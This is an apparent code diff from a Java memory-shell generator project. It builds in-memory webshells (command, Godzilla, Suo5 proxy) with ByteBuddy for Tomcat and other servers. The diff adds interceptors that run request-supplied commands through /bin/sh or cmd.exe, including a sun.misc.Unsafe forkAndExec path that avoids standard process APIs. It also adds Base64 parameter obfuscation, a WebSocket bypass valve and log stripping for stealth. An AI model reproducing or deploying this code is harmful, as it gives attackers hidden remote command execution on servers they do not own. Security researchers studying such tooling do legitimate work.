import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.Suo5Config; import com.reajason.javaweb.memshell.config.Suo5Config;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType; import net.bytebuddy.dynamic.DynamicType;
import static net.bytebuddy.matcher.ElementMatchers.named; import static net.bytebuddy.matcher.ElementMatchers.named;
@@ -17,8 +18,9 @@ public class Suo5Generator extends ByteBuddyShellGenerator<Suo5Config> {
} }
@Override @Override
protected DynamicType.Builder<?> build(DynamicType.Builder<?> builder) { protected DynamicType.Builder<?> getBuilder() {
return builder return new ByteBuddy()
.redefine(shellToolConfig.getShellClass())
.field(named("headerName")).value(shellToolConfig.getHeaderName()) .field(named("headerName")).value(shellToolConfig.getHeaderName())
.field(named("headerValue")).value(shellToolConfig.getHeaderValue()); .field(named("headerValue")).value(shellToolConfig.getHeaderValue());
} }
@@ -0,0 +1,46 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.Suo5Config;
import com.reajason.javaweb.memshell.shelltool.suo5v2.Suo5v2;
import com.reajason.javaweb.utils.CommonUtil;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import org.apache.commons.codec.binary.Base64;
import static net.bytebuddy.matcher.ElementMatchers.named;
/**
* @author ReaJason
* @since 2025/2/12
*/
public class Suo5V2Generator extends ByteBuddyShellGenerator<Suo5Config> {
public Suo5V2Generator(ShellConfig shellConfig, Suo5Config suo5Config) {
super(shellConfig, suo5Config);
}
@Override
protected DynamicType.Builder<?> getBuilder() {
if (Suo5v2.class.equals(shellToolConfig.getShellClass())) {
return new ByteBuddy()
.redefine(shellToolConfig.getShellClass())
.field(named("headerName")).value(shellToolConfig.getHeaderName())
.field(named("headerValue")).value(shellToolConfig.getHeaderValue());
}
try (DynamicType.Unloaded<Suo5v2> unloaded = new ByteBuddy()
.redefine(Suo5v2.class)
.name(CommonUtil.generateClassName())
.field(named("headerName")).value(shellToolConfig.getHeaderName())
.field(named("headerValue")).value(shellToolConfig.getHeaderValue())
.visit(TargetJreVersionVisitorWrapper.DEFAULT)
.make()) {
byte[] shrinkBytes = ClassBytesShrink.shrink(unloaded.getBytes(), true);
return new ByteBuddy()
.redefine(shellToolConfig.getShellClass())
.field(named("suo5V2GZipBase64")).value(Base64.encodeBase64String(CommonUtil.gzipCompress(shrinkBytes)));
}
}
}
@@ -0,0 +1,54 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.GenerationException;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.memshell.config.*;
import com.reajason.javaweb.memshell.shelltool.wsbypass.TomcatWsBypassValve;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import org.apache.commons.lang3.tuple.Pair;
import static net.bytebuddy.matcher.ElementMatchers.named;
/**
* @author ReaJason
* @since 2026/1/13
*/
public class WebSocketByPassHelperGenerator {
public static byte[] getBytes(String helperClassName, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
Pair<String, String> headerPair = getHeaderPair(shellToolConfig);
if (headerPair == null) {
throw new GenerationException("unsupported shell config: " + shellConfig.getShellTool());
}
if (Server.Tomcat.equals(shellConfig.getServer())) {
DynamicType.Builder<TomcatWsBypassValve> builder = new ByteBuddy()
.redefine(TomcatWsBypassValve.class)
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
.field(named("headerName")).value(headerPair.getKey())
.field(named("headerValue")).value(headerPair.getValue())
.name(helperClassName);
if (shellConfig.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
}
try (DynamicType.Unloaded<TomcatWsBypassValve> dynamicType = builder.make()) {
return ClassBytesShrink.shrink(dynamicType.getBytes(), shellConfig.isShrink());
}
}
return null;
}
private static Pair<String, String> getHeaderPair(ShellToolConfig shellToolConfig) {
if (shellToolConfig instanceof CommandConfig) {
return Pair.of(((CommandConfig) shellToolConfig).getHeaderName(), ((CommandConfig) shellToolConfig).getHeaderValue());
} else if (shellToolConfig instanceof GodzillaConfig) {
return Pair.of(((GodzillaConfig) shellToolConfig).getHeaderName(), ((GodzillaConfig) shellToolConfig).getHeaderValue());
} else if (shellToolConfig instanceof ProxyConfig) {
return Pair.of(((ProxyConfig) shellToolConfig).getHeaderName(), ((ProxyConfig) shellToolConfig).getHeaderValue());
}
return null;
}
}
@@ -0,0 +1,16 @@
package com.reajason.javaweb.memshell.generator.command;
import com.reajason.javaweb.utils.ShellCommonUtil;
import net.bytebuddy.asm.Advice;
/**
* @author ReaJason
* @since 2025/4/27
*/
public class Base64ParamInterceptor {
@Advice.OnMethodExit
public static void enter(@Advice.Argument(value = 0) String param, @Advice.Return(readOnly = false) String returnValue) throws Exception {
returnValue = ShellCommonUtil.base64DecodeToString(param);
}
}
@@ -1,12 +1,11 @@
package com.reajason.javaweb.memshell.generator.command; package com.reajason.javaweb.memshell.generator.command;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper; import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.memshell.config.CommandConfig; import com.reajason.javaweb.memshell.config.CommandConfig;
import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.generator.ByteBuddyShellGenerator; import com.reajason.javaweb.memshell.generator.ByteBuddyShellGenerator;
import com.reajason.javaweb.utils.ShellCommonUtil; import com.reajason.javaweb.utils.ShellCommonUtil;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.asm.Advice; import net.bytebuddy.asm.Advice;
import net.bytebuddy.description.modifier.Ownership; import net.bytebuddy.description.modifier.Ownership;
import net.bytebuddy.description.modifier.Visibility; import net.bytebuddy.description.modifier.Visibility;
@@ -26,17 +25,11 @@ public class CommandGenerator extends ByteBuddyShellGenerator<CommandConfig> {
} }
@Override @Override
public DynamicType.Builder<?> build(DynamicType.Builder<?> builder) { public DynamicType.Builder<?> getBuilder() {
DynamicType.Builder<?> builder = new ByteBuddy()
builder = builder.field(named("paramName")).value(shellToolConfig.getParamName()); .redefine(shellToolConfig.getShellClass())
.field(named("paramName"))
if (shellConfig.isJakarta()) { .value(shellToolConfig.getParamName());
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
}
if (shellConfig.isDebugOff()) {
builder = LogRemoveMethodVisitor.extend(builder);
}
if (CommandConfig.Encryptor.DOUBLE_BASE64.equals(shellToolConfig.getEncryptor())) { if (CommandConfig.Encryptor.DOUBLE_BASE64.equals(shellToolConfig.getEncryptor())) {
builder = builder builder = builder
@@ -49,13 +42,28 @@ public class CommandGenerator extends ByteBuddyShellGenerator<CommandConfig> {
.visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString"))) .visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString")))
.visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam"))); .visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam")));
} }
if (CommandConfig.Encryptor.BASE64.equals(shellToolConfig.getEncryptor())) {
builder = builder
.visit(MethodCallReplaceVisitorWrapper.newInstance("getParam",
shellToolConfig.getShellClassName(), ShellCommonUtil.class.getName()))
.defineMethod("base64DecodeToString", String.class, Visibility.PUBLIC, Ownership.STATIC)
.withParameters(String.class)
.throwing(Exception.class)
.intercept(FixedValue.nullValue())
.visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString")))
.visit(Advice.to(Base64ParamInterceptor.class).on(named("getParam")));
}
if (CommandConfig.ImplementationClass.RuntimeExec.equals(shellToolConfig.getImplementationClass())) { if (CommandConfig.ImplementationClass.RuntimeExec.equals(shellToolConfig.getImplementationClass())) {
builder = builder.visit(Advice.to(RuntimeExecInterceptor.class).on(named("getInputStream"))); builder = builder.visit(Advice.withCustomMapping()
.bind(TemplateAnnotation.class, shellToolConfig.getTemplate())
.to(RuntimeExecInterceptor.class)
.on(named("getInputStream")));
} else if (CommandConfig.ImplementationClass.ForkAndExec.equals(shellToolConfig.getImplementationClass())) { } else if (CommandConfig.ImplementationClass.ForkAndExec.equals(shellToolConfig.getImplementationClass())) {
builder = builder.visit(Advice.to(ForkAndExecInterceptor.class).on(named("getInputStream"))); builder = builder.visit(Advice.withCustomMapping()
.bind(TemplateAnnotation.class, shellToolConfig.getTemplate())
.to(ForkAndExecInterceptor.class)
.on(named("getInputStream")));
} }
return builder; return builder;
} }
} }
@@ -13,9 +13,27 @@ import java.lang.reflect.Method;
*/ */
public class ForkAndExecInterceptor { public class ForkAndExecInterceptor {
@Advice.OnMethodExit @Advice.OnMethodExit
public static void enter(@Advice.Argument(value = 0) String cmd, @Advice.Return(readOnly = false) InputStream returnValue) throws IOException { public static void enter(@Advice.Argument(value = 0) String cmd,
@Advice.Return(readOnly = false) InputStream returnValue,
@TemplateAnnotation String template
) throws IOException {
try { try {
String[] strs = cmd.split("\\s+"); String[] cmdarray = null;
String t = template;
if (t == null) {
cmdarray = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
} else {
if (t.contains("\"{command}\"")) {
String[] split = t.split("\\s+");
for (int i = 0; i < split.length; i++) {
split[i] = split[i].replace("\"{command}\"", cmd);
}
cmdarray = split;
} else {
String cmdline = t.replace("{command}", cmd);
cmdarray = cmdline.split("\\s+");
}
}
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe"); Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe"); java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true); unsafeField.setAccessible(true);
@@ -30,11 +48,11 @@ public class ForkAndExecInterceptor {
} }
Object processObject = unsafeClass.getMethod("allocateInstance", Class.class).invoke(unsafe, processClass); Object processObject = unsafeClass.getMethod("allocateInstance", Class.class).invoke(unsafe, processClass);
byte[][] args = new byte[strs.length - 1][]; byte[][] args = new byte[cmdarray.length - 1][];
int size = args.length; int size = args.length;
for (int i = 0; i < args.length; i++) { for (int i = 0; i < args.length; i++) {
args[i] = strs[i + 1].getBytes(); args[i] = cmdarray[i + 1].getBytes();
size += args[i].length; size += args[i].length;
} }
@@ -48,7 +66,7 @@ public class ForkAndExecInterceptor {
int[] envc = new int[1]; int[] envc = new int[1];
int[] std_fds = new int[]{-1, -1, -1}; int[] std_fds = new int[]{-1, -1, -1};
byte[] bytes = strs[0].getBytes(); byte[] bytes = cmdarray[0].getBytes();
byte[] result = new byte[bytes.length + 1]; byte[] result = new byte[bytes.length + 1];
System.arraycopy(bytes, 0, System.arraycopy(bytes, 0,
result, 0, result, 0,
@@ -10,8 +10,28 @@ import java.io.InputStream;
* @since 2025/5/25 * @since 2025/5/25
*/ */
public class RuntimeExecInterceptor { public class RuntimeExecInterceptor {
@Advice.OnMethodExit @Advice.OnMethodExit
public static void enter(@Advice.Argument(value = 0) String cmd, @Advice.Return(readOnly = false) InputStream returnValue) throws IOException { public static void enter(@Advice.Argument(value = 0) String cmd,
returnValue = Runtime.getRuntime().exec(cmd).getInputStream(); @Advice.Return(readOnly = false) InputStream returnValue,
@TemplateAnnotation String template
) throws IOException {
String[] cmdarray = null;
String t = template;
if (t == null) {
cmdarray = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
} else {
if (t.contains("\"{command}\"")) {
String[] split = t.split("\\s+");
for (int i = 0; i < split.length; i++) {
split[i] = split[i].replace("\"{command}\"", cmd);
}
cmdarray = split;
} else {
String cmdline = t.replace("{command}", cmd);
cmdarray = cmdline.split("\\s+");
}
}
returnValue = new ProcessBuilder(cmdarray).redirectErrorStream(true).start().getInputStream();
} }
} }
@@ -0,0 +1,8 @@
package com.reajason.javaweb.memshell.generator.command;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
@Retention(RetentionPolicy.RUNTIME)
public @interface TemplateAnnotation {
}
@@ -0,0 +1,22 @@
package com.reajason.javaweb.memshell.generator.processors;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.memshell.generator.Processor;
import net.bytebuddy.dynamic.DynamicType;
/**
* @author ReaJason
* @since 2025/12/7
*/
public class DebugOffBuilderModifier implements Processor<DynamicType.Builder<?>> {
@Override
public DynamicType.Builder<?> process(DynamicType.Builder<?> builder, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
if (shellConfig.isDebugOff()) {
builder = LogRemoveMethodVisitor.extend(builder);
}
return builder;
}
}
@@ -0,0 +1,16 @@
package com.reajason.javaweb.memshell.generator.processors;
import com.reajason.javaweb.asm.ClassRenameUtils;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.memshell.generator.Processor;
public class JakartaPostProcessor implements Processor<byte[]> {
@Override
public byte[] process(byte[] input, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
if (shellConfig.isJakarta()) {
return ClassRenameUtils.relocateJakarta(input);
}
return input;
}
}

Some files were not shown because too many files have changed in this diff Show More